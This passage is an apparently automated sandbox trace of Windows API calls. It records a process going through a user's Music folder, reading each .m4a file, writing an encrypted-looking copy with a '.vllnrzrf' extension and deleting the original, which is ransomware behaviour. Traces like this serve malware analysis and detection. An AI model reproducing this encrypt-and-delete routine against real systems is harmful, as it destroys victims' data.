HALPmcxz\\Music\\SBxmNq0i.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\sbxmnq0i.wav")) returned 1 [0109.650] CoUninitialize () Thread: id = 83 os_tid = 0x820 [0109.657] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0109.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1cdfe6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0109.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfeb20) returned 1 [0109.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1cdfe610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0109.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\", nBufferLength=0x105, lpBuffer=0x1cdfe5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\", lpFilePart=0x0) returned 0x2d [0109.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\*.*", lpFindFileData=0x1cdfe7c0 | out: lpFindFileData=0x1cdfe7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc00e90, ftCreationTime.dwHighDateTime=0x1d5e09c, ftLastAccessTime.dwLowDateTime=0x605ba880, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x605ba880, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ba0 [0109.658] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1cdfe810 | out: lpFindFileData=0x1cdfe810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc00e90, ftCreationTime.dwHighDateTime=0x1d5e09c, ftLastAccessTime.dwLowDateTime=0x605ba880, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x605ba880, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.658] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1cdfe810 | out: lpFindFileData=0x1cdfe810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4657f650, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x46756530, ftLastAccessTime.dwHighDateTime=0x1d5daa7, ftLastWriteTime.dwLowDateTime=0x46756530, ftLastWriteTime.dwHighDateTime=0x1d5daa7, nFileSizeHigh=0x0, nFileSizeLow=0x10615, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Rx3lE4KyaOY9LfCz.m4a", cAlternateFileName="8RX3LE~1.M4A")) returned 1 [0109.659] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1cdfe810 | out: lpFindFileData=0x1cdfe810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b4f640, ftCreationTime.dwHighDateTime=0x1d5e78e, ftLastAccessTime.dwLowDateTime=0x959cdbe0, ftLastAccessTime.dwHighDateTime=0x1d5e333, ftLastWriteTime.dwLowDateTime=0x959cdbe0, ftLastWriteTime.dwHighDateTime=0x1d5e333, nFileSizeHigh=0x0, nFileSizeLow=0x130be, dwReserved0=0x0, dwReserved1=0x0, cFileName="eofS.m4a", cAlternateFileName="")) returned 1 [0109.659] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1cdfe810 | out: lpFindFileData=0x1cdfe810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1eef340, ftCreationTime.dwHighDateTime=0x1d5de71, ftLastAccessTime.dwLowDateTime=0xd5c2d90, ftLastAccessTime.dwHighDateTime=0x1d5dbc6, ftLastWriteTime.dwLowDateTime=0xd5c2d90, ftLastWriteTime.dwHighDateTime=0x1d5dbc6, nFileSizeHigh=0x0, nFileSizeLow=0x741b, dwReserved0=0x0, dwReserved1=0x0, cFileName="O5p4fAi9h.m4a", cAlternateFileName="O5P4FA~1.M4A")) returned 1 [0109.659] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1cdfe810 | out: lpFindFileData=0x1cdfe810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73440330, ftCreationTime.dwHighDateTime=0x1d5d82e, ftLastAccessTime.dwLowDateTime=0x83ad20a0, ftLastAccessTime.dwHighDateTime=0x1d5ddb8, ftLastWriteTime.dwLowDateTime=0x83ad20a0, ftLastWriteTime.dwHighDateTime=0x1d5ddb8, nFileSizeHigh=0x0, nFileSizeLow=0x14f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmrQctYxAITAjTrLzd.m4a", cAlternateFileName="OMRQCT~1.M4A")) returned 1 [0109.659] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1cdfe810 | out: lpFindFileData=0x1cdfe810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd69d4200, ftCreationTime.dwHighDateTime=0x1d5e429, ftLastAccessTime.dwLowDateTime=0xa82bc50, ftLastAccessTime.dwHighDateTime=0x1d5e78e, ftLastWriteTime.dwLowDateTime=0xa82bc50, ftLastWriteTime.dwHighDateTime=0x1d5e78e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wn2cZNlPYn25ASry0", cAlternateFileName="WN2CZN~1")) returned 1 [0109.659] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1cdfe810 | out: lpFindFileData=0x1cdfe810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fda7c70, ftCreationTime.dwHighDateTime=0x1d5dec4, ftLastAccessTime.dwLowDateTime=0xe06b050, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0xe06b050, ftLastWriteTime.dwHighDateTime=0x1d5e7f9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xu as", cAlternateFileName="XUAS~1")) returned 1 [0109.660] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1cdfe810 | out: lpFindFileData=0x1cdfe810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fda7c70, ftCreationTime.dwHighDateTime=0x1d5dec4, ftLastAccessTime.dwLowDateTime=0xe06b050, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0xe06b050, ftLastWriteTime.dwHighDateTime=0x1d5e7f9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xu as", cAlternateFileName="XUAS~1")) returned 0 [0109.660] FindClose (in: hFindFile=0x1a578ba0 | out: hFindFile=0x1a578ba0) returned 1 [0109.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfea70) returned 1 [0109.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfea30) returned 1 [0109.661] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", lpFilePart=0x0) returned 0x42 [0109.661] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", lpFilePart=0x0) returned 0x42 [0109.661] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", lpFilePart=0x0) returned 0x42 [0109.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfea10) returned 1 [0109.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\8rx3le4kyaoy9lfcz.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0109.661] GetFileType (hFile=0x52c) returned 0x1 [0109.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfe980) returned 1 [0109.661] GetFileType (hFile=0x52c) returned 0x1 [0109.662] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1cdfeba8 | out: lpFileSizeHigh=0x1cdfeba8*=0x0) returned 0x10615 [0109.662] ReadFile (in: hFile=0x52c, lpBuffer=0x2360928, nNumberOfBytesToRead=0x10615, lpNumberOfBytesRead=0x1cdfead8, lpOverlapped=0x0 | out: lpBuffer=0x2360928*, lpNumberOfBytesRead=0x1cdfead8*=0x10615, lpOverlapped=0x0) returned 1 [0109.663] CloseHandle (hObject=0x52c) returned 1 [0109.674] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a.vllnrzrf", lpFilePart=0x0) returned 0x4b [0109.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfea10) returned 1 [0109.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\8rx3le4kyaoy9lfcz.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0109.674] GetFileType (hFile=0x52c) returned 0x1 [0109.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfe980) returned 1 [0109.675] GetFileType (hFile=0x52c) returned 0x1 [0109.675] WriteFile (in: hFile=0x52c, lpBuffer=0x23bbd30*, nNumberOfBytesToWrite=0x10815, lpNumberOfBytesWritten=0x1cdfeb38, lpOverlapped=0x0 | out: lpBuffer=0x23bbd30*, lpNumberOfBytesWritten=0x1cdfeb38*=0x10815, lpOverlapped=0x0) returned 1 [0109.677] CloseHandle (hObject=0x52c) returned 1 [0109.723] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", lpFilePart=0x0) returned 0x42 [0109.723] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a", lpFilePart=0x0) returned 0x42 [0109.723] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\8Rx3lE4KyaOY9LfCz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\8rx3le4kyaoy9lfcz.m4a")) returned 1 [0109.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", lpFilePart=0x0) returned 0x35 [0109.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", lpFilePart=0x0) returned 0x35 [0109.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", lpFilePart=0x0) returned 0x35 [0109.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfea10) returned 1 [0109.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\eofs.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0109.726] GetFileType (hFile=0x52c) returned 0x1 [0109.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfe980) returned 1 [0109.726] GetFileType (hFile=0x52c) returned 0x1 [0109.726] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1cdfeba8 | out: lpFileSizeHigh=0x1cdfeba8*=0x0) returned 0x130be [0109.726] ReadFile (in: hFile=0x52c, lpBuffer=0x23d0570, nNumberOfBytesToRead=0x130be, lpNumberOfBytesRead=0x1cdfead8, lpOverlapped=0x0 | out: lpBuffer=0x23d0570*, lpNumberOfBytesRead=0x1cdfead8*=0x130be, lpOverlapped=0x0) returned 1 [0109.728] CloseHandle (hObject=0x52c) returned 1 [0109.746] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a.vllnrzrf", lpFilePart=0x0) returned 0x3e [0109.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfea10) returned 1 [0109.746] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\eofs.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0109.747] GetFileType (hFile=0x52c) returned 0x1 [0109.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfe980) returned 1 [0109.747] GetFileType (hFile=0x52c) returned 0x1 [0109.747] WriteFile (in: hFile=0x52c, lpBuffer=0x22394c0*, nNumberOfBytesToWrite=0x132be, lpNumberOfBytesWritten=0x1cdfeb38, lpOverlapped=0x0 | out: lpBuffer=0x22394c0*, lpNumberOfBytesWritten=0x1cdfeb38*=0x132be, lpOverlapped=0x0) returned 1 [0109.750] CloseHandle (hObject=0x52c) returned 1 [0109.752] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", lpFilePart=0x0) returned 0x35 [0109.752] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a", lpFilePart=0x0) returned 0x35 [0109.752] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\eofS.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\eofs.m4a")) returned 1 [0109.755] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", lpFilePart=0x0) returned 0x3a [0109.755] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", lpFilePart=0x0) returned 0x3a [0109.755] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", lpFilePart=0x0) returned 0x3a [0109.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfea10) returned 1 [0109.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\o5p4fai9h.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0109.755] GetFileType (hFile=0x52c) returned 0x1 [0109.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfe980) returned 1 [0109.755] GetFileType (hFile=0x52c) returned 0x1 [0109.755] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1cdfeba8 | out: lpFileSizeHigh=0x1cdfeba8*=0x0) returned 0x741b [0109.755] ReadFile (in: hFile=0x52c, lpBuffer=0x224d310, nNumberOfBytesToRead=0x741b, lpNumberOfBytesRead=0x1cdfead8, lpOverlapped=0x0 | out: lpBuffer=0x224d310*, lpNumberOfBytesRead=0x1cdfead8*=0x741b, lpOverlapped=0x0) returned 1 [0109.756] CloseHandle (hObject=0x52c) returned 1 [0109.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a.vllnrzrf", lpFilePart=0x0) returned 0x43 [0109.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfea10) returned 1 [0109.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\o5p4fai9h.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x49c [0111.245] GetFileType (hFile=0x49c) returned 0x1 [0111.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfe980) returned 1 [0111.245] GetFileType (hFile=0x49c) returned 0x1 [0111.245] WriteFile (in: hFile=0x49c, lpBuffer=0x2285e88*, nNumberOfBytesToWrite=0x761b, lpNumberOfBytesWritten=0x1cdfeb38, lpOverlapped=0x0 | out: lpBuffer=0x2285e88*, lpNumberOfBytesWritten=0x1cdfeb38*=0x761b, lpOverlapped=0x0) returned 1 [0111.370] CloseHandle (hObject=0x49c) returned 1 [0111.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", lpFilePart=0x0) returned 0x3a [0111.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a", lpFilePart=0x0) returned 0x3a [0111.377] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\O5p4fAi9h.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\o5p4fai9h.m4a")) returned 1 [0111.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", lpFilePart=0x0) returned 0x43 [0111.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", lpFilePart=0x0) returned 0x43 [0111.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", lpFilePart=0x0) returned 0x43 [0111.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfea10) returned 1 [0111.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\omrqctyxaitajtrlzd.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x49c [0111.385] GetFileType (hFile=0x49c) returned 0x1 [0111.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfe980) returned 1 [0111.385] GetFileType (hFile=0x49c) returned 0x1 [0111.385] GetFileSize (in: hFile=0x49c, lpFileSizeHigh=0x1cdfeba8 | out: lpFileSizeHigh=0x1cdfeba8*=0x0) returned 0x14f3d [0111.385] ReadFile (in: hFile=0x49c, lpBuffer=0x1237ff10, nNumberOfBytesToRead=0x14f3d, lpNumberOfBytesRead=0x1cdfead8, lpOverlapped=0x0 | out: lpBuffer=0x1237ff10*, lpNumberOfBytesRead=0x1cdfead8*=0x14f3d, lpOverlapped=0x0) returned 1 [0111.387] CloseHandle (hObject=0x49c) returned 1 [0111.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a.vllnrzrf", lpFilePart=0x0) returned 0x4c [0111.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cdfea10) returned 1 [0111.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\omrqctyxaitajtrlzd.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x49c [0111.403] GetFileType (hFile=0x49c) returned 0x1 [0111.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cdfe980) returned 1 [0111.404] GetFileType (hFile=0x49c) returned 0x1 [0111.404] WriteFile (in: hFile=0x49c, lpBuffer=0x123fdaa8*, nNumberOfBytesToWrite=0x1513d, lpNumberOfBytesWritten=0x1cdfeb38, lpOverlapped=0x0 | out: lpBuffer=0x123fdaa8*, lpNumberOfBytesWritten=0x1cdfeb38*=0x1513d, lpOverlapped=0x0) returned 1 [0111.416] CloseHandle (hObject=0x49c) returned 1 [0111.423] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", lpFilePart=0x0) returned 0x43 [0111.423] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", nBufferLength=0x105, lpBuffer=0x1cdfe6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a", lpFilePart=0x0) returned 0x43 [0111.423] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\OmrQctYxAITAjTrLzd.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\omrqctyxaitajtrlzd.m4a")) returned 1 [0111.428] CoUninitialize () Thread: id = 84 os_tid = 0x810 [0111.439] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0111.439] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1c04e240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0111.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e6a0) returned 1 [0111.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", nBufferLength=0x105, lpBuffer=0x1c04e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0", lpFilePart=0x0) returned 0x3e [0111.440] GetFullPathNameW (in: 